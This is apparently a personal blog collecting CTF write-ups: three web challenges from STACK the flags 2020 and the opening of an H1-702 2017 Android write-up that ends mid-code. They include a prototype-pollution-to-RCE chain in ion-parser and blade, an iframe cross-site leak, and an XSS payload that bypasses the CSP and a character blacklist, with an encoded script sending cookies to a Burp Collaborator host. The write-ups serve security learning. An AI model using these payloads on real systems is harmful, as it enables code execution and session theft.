Quan Yang

STACK the flags 2020 CTF - Final Countdown

2020-12-12T14:03:41+00:00

This challenge was part of the STACK the flags 2020 CTF organized by GovTech. I solved this challenge after the CTF was over as it wasn’t available to us during the CTF.

This is a pretty interesting challenge that requires exploiting a prototype pollution vulnerability in a library (ion-parser) in order to manipulate another library (blade) in order to achieve remote code execution.

Final Countdown

Category: Web

Source Code
sha265: 23fe6d930ad391511e6d2ad1987d9d0531be88705711caaea9efe2efa6da5923

A quick glance at the provided source code tells us that this is a web application written in NodeJS. Looking at app.js, we find routers being defined for the web application.

app.js

1
2
3
4
5
6
7
8
...

app.use('/', indexRouter);
app.use('/ransomware', ransomwaresRouter);
app.use('/victim', victimsRouter);
app.use('/ransom', ransomsRouter);

...

Looking through the other JavaScript code, we can learn that this appears to be a ransomware dashboard detailing any collected ransom(s), the victim(s) and details on any deployed ransomware(s), one interesting observation is that you can export the data in the TOML format (Tom’s Obvious, Minimal Language) which looks similar to YAML.

Performing a quick audit of the entire source code, we don’t find any obvious vulnerability in any of the defined routes, however, there is a particular route in ransomwares.js that appears to be incomplete and more importantly, passes unsanitized user input into a TOML parser (ion-parser).

ransomwares.js

1
2
3
4
5
6
7
8
9
10
router.post('/:id/config', upload.single('config'), async function (req, res) {
  try {
    var config = parse(req.file.buffer.toString());
    // await Ransomware.update(config, { where: { id: req.params.id } })  // database locked for maintenance
    res.redirect('/ransomware/' + req.params.id);

  } catch {
    res.sendStatus(500)
  }
});

ion-parser library

A quick look up on ion-parser shows that this library hasn’t been updated in over a year and the GitHub repository no longer exists.

Looking at some sample TOML data, I hypothesize that it might be possible for a prototype pollution vulnerability to exist in the library and we can quickly verify that with the following NodeJS code:

1
2
3
4
5
6
7
8
9
10
const { parse } = require('ion-parser')

console.log("Before:", ({}).somevar)

const config = parse(`
[__proto__]
somevar = 'this is prototype pollution!'
`)

console.log("After:", ({}).somevar)%

Running gives us the following output:

1
2
3
→ node sample.js
Before: undefined
After: this is prototype pollution!

Running the above code shows that we have managed to inject properties into Object.prototype, which most objects inherits from.

You can read more about prototype pollution here.

Looking at the source code for ion-parser, we can find multiple places where prototype pollution could occur, but I’ll leave this as an exercise for the reader.

Achieving Remote Code Execution

So now that we have prototype pollution, how do we escalate this into remote code execution (RCE)?

Prototype pollution allows us to inject properties into objects, and so if we are able to control values of a property that is then used in a dangerous function like eval or exec, we would be able to abuse that in order to achieve RCE.

Image from https://blog.p6.is/AST-Injection/

Template engines like handlebars, pug makes good targets as they often have phases where templates are parsed into abstract syntax tree (AST) before being compiled and executed. Therefore, if we are able to influence the AST, we would be able to achieve RCE when it is executed.

POSIX has a great blog post on AST injection for handlebars and pug, you can read more about it here.

In this CTF challenge, the blade template engine is used by the web application to render HTML output.

Let’s start by looking at a simple example and observe what is going on. Notice I set debug to true in order to get more information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const blade = require('blade');

const template = `html
    head
        title Blade
    body
        #nav
            ul
                - for(var i in nav)
                    li
                        a(href=nav[i])= i
        #content.center
            h1 Blade is cool`;
blade.compile(template, {'debug': true}, function(err, tmpl) {
});

Running this gave us the following output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
→ node sample.js
Compiling:
html
    head
        title Blade
    body
        #nav
            ul
                - for(var i in nav)
                    li
                        a(href=nav[i])= i
        #content.center
            h1 Blade is cool
---------------------------------------------
AST:
 {
  doctypes: [],
  nodes: [
    {
      type: 'tag',
      name: 'html',
      id: null,
      classes: [],
      attributes: {},
      children: [
        ** truncated **
                            {
                              type: 'tag',
                              name: 'a',
                              id: null,
                              classes: [],
                              attributes: { href: [Object] },
                              children: [ [Object] ],
                              line: 9,
                              col: 25
                            }
        ** truncated **
      ],
      line: 1,
      col: 1
    }
  ]
}
---------------------------------------------
Template:
__ = __ || [];__.r = __.r || blade.Runtime;if(!__.func) __.func = {},__.blocks = {},__.chunk = {};__.locals = locals || {};
try {with(__.locals) {__.line=1,__.col=1;__.push('<html'+'>');__.line=2,__.col=5;__.push('<head'+'>');__.line=3,__.col=9;__.push('<title'+'>'+"Blade"+'</title>'+'</head>');__.line=4,__.col=5;__.push('<body'+'>');__.line=5,__.col=9;__.push('<div'+' id="nav"'+'>');__.line=6,__.col=13;__.push('<ul'+'>');__.line=7,__.col=17;for(var i in nav)
{__.line=8,__.col=21;__.push('<li'+'>');__.line=9,__.col=25;__.push('<a');__.r.attrs({"href":{v:nav[i],e:1}}, __);__.push('>'+__.r.escape(i
)+'</a>'+'</li>');}__.push('</ul>'+'</div>');__.line=10,__.col=9;__.push('<div'+' id="content"'+' class="center"'+'>');__.line=11,__.col=13;__.push('<h1'+'>'+"Blade is cool"+'</h1>'+'</div>'+'</body>'+'</html>');}} catch(e){return cb(__.r.rethrow(e, __) );}if(!__.inc) __.r.done(__);cb(null, __.join(""), __);
---------------------------------------------

The debug information shows us the AST and the template code after compilation, from here, the goal is straightforward: we need to influence the process such that we are able to inject arbitrary code into the final compiled template.

I started by running the same sample code, but with prototype pollution, in order to begin testing the effects it has on the compilation process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const blade = require('blade');

Object.prototype.someprop = {'test': 'test'};

const template = `html
    head
        title Blade
    body
        #nav
            ul
                - for(var i in nav)
                    li
                        a(href=nav[i])= i
        #content.center
            h1 Blade is cool`;
blade.compile(template, {'debug': true}, function(err, tmpl) {
    console.log(err);
});

This time, the compilation process failed and we are provided a non-null error:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
---------------------------------------------
AST:
 {
  doctypes: [],
  nodes: [
    {
      type: 'tag',
      name: 'html',
      id: null,
      classes: [],
      attributes: {},
      children: [
        ** truncated **
                            {
                              type: 'tag',
                              name: 'a',
                              id: null,
                              classes: [],
                              attributes: { href: [Object], undefined: undefined },
                              children: [ [Object] ],
                              line: 9,
                              col: 25
                            }
        ** truncated **
      ],
      line: 1,
      col: 1
    }
  ]
}
---------------------------------------------
TypeError: Compile error: Cannot read property 'text' of undefined
    at <anonymous>


    at Compiler._compileNode (/source/node_modules/blade/lib/compiler.js:309:17)
    at Compiler._compileNode (/source/node_modules/blade/lib/compiler.js:356:12)
    at Compiler._compileNode (/source/node_modules/blade/lib/compiler.js:486:11)
    at Compiler._compileNode (/source/node_modules/blade/lib/compiler.js:356:12)
    at Compiler._compileNode (/source/node_modules/blade/lib/compiler.js:356:12)
    at Compiler._compileNode (/source/node_modules/blade/lib/compiler.js:356:12)
    at Compiler._compileNode (/source/node_modules/blade/lib/compiler.js:356:12)
    at Compiler.compile (/source/node_modules/blade/lib/compiler.js:114:9)
    at Object.compile (/source/node_modules/blade/lib/blade.js:57:12)
    at Object.<anonymous> (/source/sample.js:16:7) {
  source: 'html\n' +
    '    head\n' +
    '        title Blade\n' +
    '    body\n' +
    '        #nav\n' +
    '            ul\n' +
    '                - for(var i in nav)\n' +
    '                    li\n' +
    '                        a(href=nav[i])= i\n' +
    '        #content.center\n' +
    '            h1 Blade is cool',
  column: undefined,
  lastFilename: undefined,
  filename: undefined,
  line: undefined
}

Compared to the previous AST, notice that in this AST, the a node has an additional undefined attribute, possibly due to the prototype pollution.

From here, we begin diving into the source code for blade, in order to figure out why the error was occurring, this lead me to the following code within the parser module for blade:

blade/lib/parser/index.js

1
2
3
4
5
6
7
8
9
** truncated **
            result0 = (function(offset, line, column, first_attr, next_attrs) {
                    var attrs = {};
                    attrs[first_attr.name] = first_attr.value;
                    for(var i in next_attrs) 
                        attrs[next_attrs[i].name] = next_attrs[i].value;
                    return attrs;
                })(pos0.offset, pos0.line, pos0.column, result0[3], result0[4]);
** truncated **

So it seems like because first_attr.name is undefined and first_attr.value is undefined, we end up with the object in the AST above where we have an undefined property with undefined value.

This means, the following sample code with prototype pollution should allow us to successfully compile the template without any errors:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const blade = require('blade');

Object.prototype.someprop = {
    'test': 'test',
    'name': 'somename',
    'value': 'somevalue'
};

const template = `html
    head
        title Blade
    body
        #nav
            ul
                - for(var i in nav)
                    li
                        a(href=nav[i])= i
        #content.center
            h1 Blade is cool`;
blade.compile(template, {'debug': true}, function(err, tmpl) {
    console.log(tmpl);
});

This gave us the following output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
AST:
 {
  doctypes: [],
  nodes: [
    {
      type: 'tag',
      name: 'html',
      id: null,
      classes: [],
      attributes: {},
      children: [
      ** truncated **
                            {
                              type: 'tag',
                              name: 'a',
                              id: null,
                              classes: [],
                              attributes: { href: [Object], somename: 'somevalue' },
                              children: [ [Object] ],
                              line: 9,
                              col: 25
                            }
        ** truncated **
      ],
      line: 1,
      col: 1
    }
  ]
}
---------------------------------------------
Template:
__ = __ || [];__.r = __.r || blade.Runtime;if(!__.func) __.func = {},__.blocks = {},__.chunk = {};__.locals = locals || {};
try {with(__.locals) {__.line=1,__.col=1;__.push('<html');__.r.attrs({"someprop":{v:undefined}}, __);__.push('>');__.line=2,__.col=5;__.push('<head');__.r.attrs({"someprop":{v:undefined}}, __);__.push('>');__.line=3,__.col=9;__.push('<title');__.r.attrs({"someprop":{v:undefined}}, __);__.push('>'+"Blade"+'</title>'+'</head>');__.line=4,__.col=5;__.push('<body');__.r.attrs({"someprop":{v:undefined}}, __);__.push('>');__.line=5,__.col=9;__.push('<div'+' id="nav"');__.r.attrs({"someprop":{v:undefined}}, __);__.push('>');__.line=6,__.col=13;__.push('<ul');__.r.attrs({"someprop":{v:undefined}}, __);__.push('>');__.line=7,__.col=17;for(var i in nav)
{__.line=8,__.col=21;__.push('<li');__.r.attrs({"someprop":{v:undefined}}, __);__.push('>');__.line=9,__.col=25;__.push('<a');__.r.attrs({"href":{v:nav[i],e:1},"somename":{v:undefined},"someprop":{v:undefined}}, __);__.push('>'+__.r.escape(i
)+'</a>'+'</li>');}__.push('</ul>'+'</div>');__.line=10,__.col=9;__.push('<div'+' id="content"'+' class="center"');__.r.attrs({"someprop":{v:undefined}}, __);__.push('>');__.line=11,__.col=13;__.push('<h1');__.r.attrs({"someprop":{v:undefined}}, __);__.push('>'+"Blade is cool"+'</h1>'+'</div>'+'</body>'+'</html>');}} catch(e){return cb(__.r.rethrow(e, __) );}if(!__.inc) __.r.done(__);cb(null, __.join(""), __);
---------------------------------------------

We can observe that somename is reflected in the compiled template, however, we were not able to escape the double-quote string context in order to inject arbitrary JavaScript. Therefore, the next step from here is to find a property that would allow us to inject arbitrary JavaScript code into the compiled template. Back to blade’s source code..

Looking at the compiler code for Blade, we can find this segment that handles the compiled template based on the attribute type:

blade/lib/compiler.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
** truncated **
                //take care of text attributes here
                if(attrs[i].text != null)
                {
                    if(attrs[i].escape)
                        this._push("' " + i + "=" + bladeutil.quote(
                            JSON.stringify(runtime.escape(attrs[i].text)) ) + "'");
                    else
                        this._push("' " + i + "=" + bladeutil.quote(
                            JSON.stringify(attrs[i].text) ) + "'");
                }
                //take care of code attributes here
                else
                    varAttrs += "," + JSON.stringify(i) + ":{v:" + attrs[i].code +
                        (attrs[i].escape ? ",e:1" : "") +
                        (i == "class" && attrs[i].append ?
                            ",a:" + JSON.stringify(attrs[i].append): "") + "}";
** truncated **

It seems like if we are able to inject a node with code attribute, we would be able to inject arbitrary JavaScript into the final compiled template and when executed in the runtime, give us RCE.

We can test this out by running the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const blade = require('blade');

Object.prototype.someprop = {
    'name': 'somename',
    'value': 'somevalue',
    'code' : "process.mainModule.require('child_process').execSync(`whoami`)"
};

const template = `html
    head
        title Blade
    body
        #nav
            ul
                - for(var i in nav)
                    li
                        a(href=nav[i])= i
        #content.center
            h1 Blade is cool`;
blade.compile(template, {'debug': true}, function(err, tmpl) {
    tmpl({'nav': []}, function(err, html) {
        console.log(html, err);
    });
});

With that, we can combine our exploit for ion-parser and blade, to exploit the prototype pollution in ion-parser in order to inject into the AST for blade giving us RCE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const blade = require('blade');
const { parse } = require('ion-parser')
const config = parse(`
test = 'Hey universe'

[__proto__.someprop]
name = "somename"
value = "somevalue"
code = "process.mainModule.require('child_process').execSync(\`whoami\`)"
`)

const template = `html
    head
        title Blade
    body
        #nav
            ul
                - for(var i in nav)
                    li
                        a(href=nav[i])= i
        #content.center
            h1 Blade is cool`;
blade.compile(template, {'debug': true}, function(err, tmpl) {
    tmpl({'nav': []}, function(err, html) {
        console.log(html, err);
    });
});

Getting the flag

With our exploit in hand, we can craft a HTTP request to the challenge website to get a reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Connection from node-02.challenges.stacks2020 35917 received!
→ ls
Dockerfile.dev
app.js
bin
config
flag.txt
migrations
models
node_modules
package-lock.json
package.json
public
routes
seeders
views
wait-for-db.sh
watcher.js
→ cat flag.txt
govtech-csg{P01lU+3d_t3Mpl@t3}

And we have our flag: govtech-csg{P01lU+3d_t3Mpl@t3}

STACK the flags 2020 CTF - Final Countdown was originally published by Yeo Quan Yang at Quan Yang on December 12, 2020.

STACK the flags 2020 CTF - Ransom Me This

2020-12-11T03:56:30+00:00

STACK 2020 CTF is a capture the flag organized by GovTech. We participated as PwningActionParty and achieved third place in the open category.

Ransom Me This

Category: Web
Description: COViD’s victims received a link to this portal to submit their ransoms! Can you unlock the keys without paying the ransom?

There are two parts to this website:

The ransom submission
The hacked website search

The first step is to try to observe the behavior each feature exhibits

1. The ransom submission

This makes a POST request to http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41021/ and the response doesn’t seem to indicate any difference from the initial landing page.

However, using Burp Collaborator, we can test that a HTTP request is subsequently made to the URL we provided.

GET / HTTP/1.1
Host: z44ebo81l5aokow0blhot5cp3g98xx.burpcollaborator.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US

Notice that the user agent implies that this was made from a headless chrome instance, for now, there doesn’t seem to be any other interesting behavior for this feature.

2. The hacked website search

This feature is located at http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41021/search?q= and embedded in an iFrame.

1
2
var numResults = "4"
window.parent.postMessage(numResults, '*');

From the inline JavaScript on the page, we see that it posts the number of search results as a message to the parent website embedding this iFrame, this is interesting because it specifies a wildcard target origin and the page itself allows being embedded from a different origin than itself. Keep this in mind, this primitive could be useful for leaking information across origins.

From the response of the site, there seems to be encryption key hidden from the search results, probably intentional since we might not be “authenticated” to view them.

Hypothesis

From the information we have on hand, we can hypothesis where the flag might be located:

The HTTP request made from the headless chrome seem to imply that we need to make use of this feature in order to obtain the flag, and that we might need to utilize some browser feature (JavaScript methods, etc).
The cross-site information leak primitive seems to imply that we need to embed this page in our final exploit and to use the primitive to leak information on the flag.

Therefore, I can hypothesize that the flag is stored as a hidden encryption key, and we need to load our exploit payload in a website loaded by feature #1, and making use of the cross-site leak to leak the flag in feature #2.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<body>
<script>
window.onmessage = function(data) {
    success = parseInt(data.data);
    if (success == 0) {
    return;
    }
    var iframes = document.getElementsByTagName('iframe');
    for(var i = 0; i < iframes.length; i++) {
        if(data.source === iframes[i].contentWindow) {
            // Do stuff with iframes[i]
            var img = document.createElement('img')
            img.src = "http://<attacker-server>:8003?" + iframes[i].src;
            document.appendChild(img);
        }
    }
}
window.onload = function() {
    for (var i = 32; i <= 127; i++)  {
         s = String.fromCharCode(i);
         var iframe = document.createElement('iframe');
         iframe.src="http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41021/search?q=<?php echo $_GET['flag'];?>"+s;
         document.body.appendChild(iframe)
    }
}
</script>
</body>
</html>

This is my final exploit, it makes use of feature #2 to guess the flag character by character, and if the guess is correct, the message data should contain an non-zero integer, and if that happens, we cause a callback to our webserver to inform us.

Hosting this page on a webserver, I post the URL of the exploit page to feature #1 and incrementally guess the flag.

Eventually we obtain our flag: govtech-csg{Se@RcH_@nD_d3sTr0y}

STACK the flags 2020 CTF - Ransom Me This was originally published by Yeo Quan Yang at Quan Yang on December 11, 2020.

STACK the flags 2020 CTF - You Shall Not Pass

2020-12-11T03:23:16+00:00

STACK 2020 CTF is a capture the flag organized by GovTech. We participated as PwningActionParty and achieved third place in the open category.

Unlock Me

Category: Web
Description: We discovered a web portal used by COViD as a C2 platform to send messages to his ransomware victims. They have a script that accesses and hacks the websites posted back to the server! Can you stop them?

The webpage appears to be a simple Command&Control (C2) platform with two feature:

Add a new website to your list of hacked websites.
Broadcast messages to your victims.

The first step is to try to observe the behavior each feature exhibits

1. Add a new website to your list of hacked websites

From monitoring the network requests, we see that a POST request is made to http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/link with the provided URL in the POST body.

GET / HTTP/1.1
Host: as6pzzwc9gyz8zkbzw5zhg00rrxil7.burpcollaborator.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US

Using Burp Collaborator, we can easily see that a HTTP request was made to the URL provided through a headless chrome instance.

However, since the response from the request is not returned to the user, we can’t escalate this blind SSRF any further.

2. Broadcast messages to your victim

From the network requests, we see that a POST request is made to http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcast, however, this doesn’t seem to result in any network call(s) made to the victim URL from feature 1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    var broadcastForm = document.getElementById('broadcastForm');
    broadcastForm.addEventListener('submit', async function (event) {
      event.preventDefault();
      event.stopPropagation();
      var searchData = new FormData(broadcastForm);
      var broadcast = searchData.get("broadcast");
      var response = await fetch("/broadcast", {
        method: 'POST',
        mode: 'cors',
        cache: 'no-cache',
        credentials: 'same-origin',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify({
          broadcast: broadcast
        })
      });
      console.log(response.status);
      if (response.status === 200) {
        document.getElementById('broadcasts').contentWindow.postMessage(broadcast, "*");
      }
    })

Looking at the JavaScript code, we can understand that upon a successful response from the backend, the broadcast message is sent to the iFrame using postMessage.

window.addEventListener("message", receiveMessage, false);

function receiveMessage(event) {
    // verify sender is trusted
    if (
        !/^http:\/\/yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg/.test(
            event.origin
        )
    ) {
        return;
    }

    // display message
    msg = event.data;
    if (msg == "off") {
        document.body.style.color = "#95A799";
    } else if (msg == "on") {
        document.body.style.color = "black";
    } else if (
        !msg.includes(" ") &&
        !msg.includes("'") &&
        !msg.includes("&") &&
        !msg.includes("|") &&
        !msg.includes("%") &&
        !msg.includes("@") &&
        !msg.includes("!") &&
        !msg.includes("#") &&
        !msg.includes("^")
    ) {
        var broadcastList = document.getElementById("broadcastList");
        var newBroadCast = document.createElement("div");
        newBroadCast.innerHTML =
            '<li class="list-group-item d-flex justify-content-between lh-condensed"><h6 class="my-0">' +
            msg +
            "</h6></li>";
        while (newBroadCast.firstChild) {
            broadcastList.appendChild(newBroadCast.firstChild);
        }
    }
}

The iFrame embeds another JavaScript resource, upon receiving a message, it checks the origin of the event and looks for restricted characters before displaying the message. There are two main issues here:

Insufficient origin check

Firstly, we can notice that the origin check is insufficient since it doesn’t ensure that it checks against the full origin and not just the prefix of the origin.

For example, a regular expression of ^http:\/\/example.sg will return true against a URL of http://example.sg.evil.com, and thus, it is possible to bypass the origin check.

HTML Injection/Cross-site Scripting

Secondly, the message data is then injected using innerHTML which would render any HTML element, resulting in XSS. The saving grace here is that your payload is restricted to the list of blacklisted characters that is checked before the content is injected.

Hypothesis

I was stumped for a bit as it wasn’t immediately obvious where the flag is located or what the next steps were, however, if we take a step back to analyze at what we have, we can hypothesis where the flag could be located.

In feature #1, the HTTP request is made with a headless chrome, this could imply that certain interaction with the browser might be needed (running JavaScript, service workers, etc).
The iframe in feature #2 allows iframing from a different origin, and the insufficient origin check seems to imply that we have to do that. On top of that, the XSS issue further implies that we might need to exploit it in order to get the flag (flag in cookie or some storage accessible from JavaScript).

With that, I seek out to test my hypothesis.

Exploitation

I created a simple webpage located at http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg.mydomain.com/exploit.html in order to bypass the origin check and with the following content.

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<script>
window.onload = function() {
    document.getElementById('broadcasts').contentWindow.postMessage('<img\tsrc=e\tonerror=alert()>', "*");
}
</script>
<iframe name="broadcasts" id="broadcasts" frameBorder="0" src="http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcasts"></iframe>
</body>
</html>

With that, we can test that the HTML injection and origin check bypass does indeed work, however, we are now stumped by the content security policy specified in the iFrame’ed page.

<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">

The CSP is defined using the meta element, and allows script resources from it’s own origin as well as unsafe-eval, and looking at the script resources available to us, we can quickly observe that this CSP can be bypassed using the AngularJS v1.5.6 library. This is a good blog for a quick start on this topic.

CSP Bypasss Payload: <input id=x ng-focus=$event.path|orderBy:'(y=alert)(1)'>

However, one more obstacle, the payload needed uses some of the blacklisted characters ( '&|%@!#^) that the script is checking for, we need to find a way to bypass the blacklist in order to get our payload successfully injected.

Looking back at the iFrame JavaScript, I realized that instead of posting a string message, I could post an Array object, which when processing through the blacklist checks, will allow me to bypass entirely.

Example: If msg was an Array object ['mypayload'], !msg.includes("|") will be checking that there exists the "|" element in the Array, however, that doesn’t exist in my payload, and would allow me to bypass the check entirely.

Finally, I can craft final exploit payload:

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<script>
window.onload = function() {
    document.getElementById('broadcasts').contentWindow.postMessage([`<iframe srcdoc="<html><body id=eval(atob('dmFyIHg9ZG9jdW1lbnQuY29va2llO3ZhciBjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImltZyIpO2Muc3JjPSJodHRwOi8vY2V1dWpmYWxld2s0ZG5jN2toem44bWwweXI0aTI2ci5idXJwY29sbGFib3JhdG9yLm5ldC9mbGFnPyIreDtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGMpOw=='))><script src=http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/javascripts/angular.min.js></script><div ng-app ng-csp><div ng-bind=x={y:''.constructor.prototype};x.y.charAt=[].join;[1]|orderBy:'x=eval(document.body.id)'></div></body></html>">`], "*");
}
</script>
<iframe name="broadcasts" id="broadcasts" frameBorder="0" src="http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41011/broadcasts"></iframe>
</body>
</html>

Where I made use of the CSP bypass to evaluate a base64 encoded script that I injected into the body element as an id (this made the payload writing easier without having any single-quote/double-quote restrictions).

The base64 encoded payload is decoded to:

1
var x=document.cookie;var c=document.createElement("img");c.src="http://ceuujfalewk4dnc7khzn8ml0yr4i26r.burpcollaborator.net/flag?"+x;document.body.appendChild(c);

Which exfiltrates available cookies using an image tag to an attacker-controlled webserver.

And we have the flag: govtech-csg{V3Ni,v1dI,v!Cl}

Recap

In order to obtain the flag, we had to perform the following bypasses:

Origin check bypass
CSP bypass using Angular JS
Bypass blacklist of characters
HTML injection resulting in JavaScript execution

STACK the flags 2020 CTF - You Shall Not Pass was originally published by Yeo Quan Yang at Quan Yang on December 11, 2020.

H1-702 CTF 2017 - Write Ups

2017-07-18T03:43:51+00:00

H1702 CTF was a CTF organized by hackerone. There were 6 Android and 6 iOS reverse engineering challenges. I finished 4th.

Android Write ups
1. Level 1
2. Level 2
3. Level 3
4. Level 4
5. Level 5
6. Level 6
iOS Write ups
1. Level 1
2. Level 2
3. Level 3
4. Level 4
5. Level 5
6. Level 6

Android Write ups

Level 1

Let’s start you off with something easy to get you started.
(Note: Levels 1-4 use the same application)
ctfone-490954d49dd51911bc730d8161541cf13e7416f9.apk

Since Level 1-4 uses the same APK, I am going to do a long writeup for the 4 challenges.

As with any other Android challenge, the first step is to decompile the APK using apktool as well as dex2jar.

After which, the next step would be to look at the AndroidManifest.xml file. Looking at the manifest file would allow you to identify entry points.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.h1702ctf.ctfone" platformBuildVersionCode="25" platformBuildVersionName="7.1.1">
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <meta-data android:name="android.support.VERSION" android:value="25.3.1"/>
    <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsRtl="true" android:theme="@style/AppTheme">
        <activity android:label="@string/app_name" android:name="com.h1702ctf.ctfone.MainActivity" android:theme="@style/AppTheme.NoActionBar">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:exported="true" android:name="com.h1702ctf.ctfone.Level3Activity"/>
    </application>
</manifest>

In this case, there is two other files we should focus on, com.h1702ctf.ctfone.MainActivity, the main class and com.h1702ctf.ctfone.Level3Activity, an additional activity class.

We first look at com.h1702ctf.ctfone.MainActivity, we can view the decoded smali code or the decompiled class file using JD-GUI or any other Java Decompiler you are familiar with.

Immediately in the onCreate method, we can see that two tabs are created with the labels Level 1 and Level 2. Following this lead, we immediately focus onto TabFragment1.class to look for leads that’d allow us to solve the first challenge.

Again, as the class is relatively simple, it is obvious that in the onCreate method, a certain resource is loaded depending on the value of a text input.

1
2
3
4
5
6
7
8
9
10
public void onClick(View paramAnonymousView) {
    String str = TabFragment1.this.mInput.getText().toString();
    paramAnonymousView = str;
    if (str.isEmpty())
    {
        int i = new Random().nextInt();
        paramAnonymousView = "asset" + (i % 10 + 1);
    }
    TabFragment1.this.loadDataFromAsset(paramAnonymousView);
}

We can immediately see that if the input is empty, a random asset[1-10] is loaded. Following that hint, we can browse to the assets folder to look for the flag. Just by looking at the contents of the folder, we would be able to immediately identify the asset that’d give us the flag.

1
2
3
4
5
6
7
8
9
10
11
12
→ ls
asset1
asset10
asset2
asset3
asset4
asset5
asset6
asset7
asset8
asset9
tHiS_iS_nOt_tHE_SeCrEt_lEveL_1_fiLE

The first flag is immediately presented to us in the tHiS_iS_nOt_tHE_SeCrEt_lEveL_1_fiLE image file.

Flag #1: cApwN{WELL_THAT_WAS_SUPER_EASY}

Level 2

Maybe something a little more difficult?

Following what we saw in challenge 1, we can immediately focus onto TabFragment2.class to try to solve for challenge 2.

1
2
3
4
5
6
7
8
9
10
11
public void onClick(View paramAnonymousView) {
    try {
        paramAnonymousView = InCryption.hashOfPlainText();
        TabFragment2.this.mHashView.setText(paramAnonymousView);
        TabFragment2.this.mHashView.setBackgroundColor(-1);
        return;
    }
    catch (Exception paramAnonymousView) {
        paramAnonymousView.printStackTrace();
    }
}

Here we see that the method hashOfPlainText from the InCryption class is called. From the method name, it seems to be telling us that this function returns the hash of a certain Plaintext string.

Looking at the InCryption class, we can immediately recreate the class in Java to run it locally on our machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Solve {

  public static void main(String[] args) {
    try {
      System.out.println(Solve.plainText());
    } catch (Exception e) {

    }
  }
